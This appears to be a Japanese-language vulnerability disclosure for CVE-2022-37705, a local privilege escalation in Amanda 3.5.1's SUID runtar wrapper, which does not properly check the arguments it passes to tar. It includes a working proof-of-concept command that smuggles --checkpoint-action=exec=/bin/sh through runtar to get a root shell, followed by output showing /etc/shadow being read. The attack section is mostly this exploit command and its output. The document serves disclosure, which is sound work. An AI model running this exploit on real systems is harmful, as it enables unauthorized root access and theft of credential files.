maherazzouzi/cve-2022-37705Amanda 3.5.1 2つ目のLPE
[推奨される説明] Amanda 3.5.1 に、backupユーザーをroot権限に昇格させることができる 特権昇格の欠陥が見つかりました。影響を受けるコンポーネントは、特定の 引数で /usr/bin/tar を実行する単なるラッパーである runtar SUID です。 これらの引数は攻撃者が制御可能です。このプログラムは tar バイナリに 渡される引数を正しくチェックしません（すべての引数が --ARG VALUE の ような形式であると想定していますが、--ARG=VALUE を1つの引数として 提供できます）。
[追加情報] この欠陥は、コード実行、サービス拒否、特権昇格、情報漏えいに悪用される可能性があります。 これはそれを悪用してルートシェルを取得するPoCです: backup@maher:/lib/amanda$ id uid=34(backup) gid=34(backup) groups=34(backup),6(disk),26(tape)
backup@maher:/lib/amanda$ head /etc/shadow head: cannot open '/etc/shadow' for reading: Permission denied
backup@maher:/lib/amanda$ ./runtar NOCONFIG tar --create --file=/dev/null --checkpoint=1 --directory=. --checkpoint-action=exec=/bin/sh /dev/null tar: Removing leading `/' from member names
head /etc/shadow
root:!:19132:0:99999:7::: daemon::19101:0:99999:7::: bin::19101:0:99999:7::: sys::19101:0:99999:7::: sync::19101:0:99999:7::: games::19101:0:99999:7::: man::19101:0:99999:7::: lp::19101:0:99999:7::: mail::19101:0:99999:7::: news:*:19101:0:99999:7:::
[脆弱性タイプ: その他] 引数チェックの欠陥。
[製品ベンダー] Amanda
[影響を受ける製品コードベース] runtar - 3.5.1
[影響を受けるコンポーネント] 影響を受けるSUIDバイナリは: runtar 影響を受けるファイルは: runtar.c 影響を受けるコード行は162行目から始まります。
[攻撃タイプ] ローカル
[影響: コード実行] true
[影響: サービス拒否] true
[影響: 特権昇格] true
[影響: 情報漏えい] true
[攻撃ベクトル] バイナリを悪用するには、runtar SUIDバイナリに細工した引数を渡すだけでrootに昇格できます。
[発見者] Maher Azzouzi
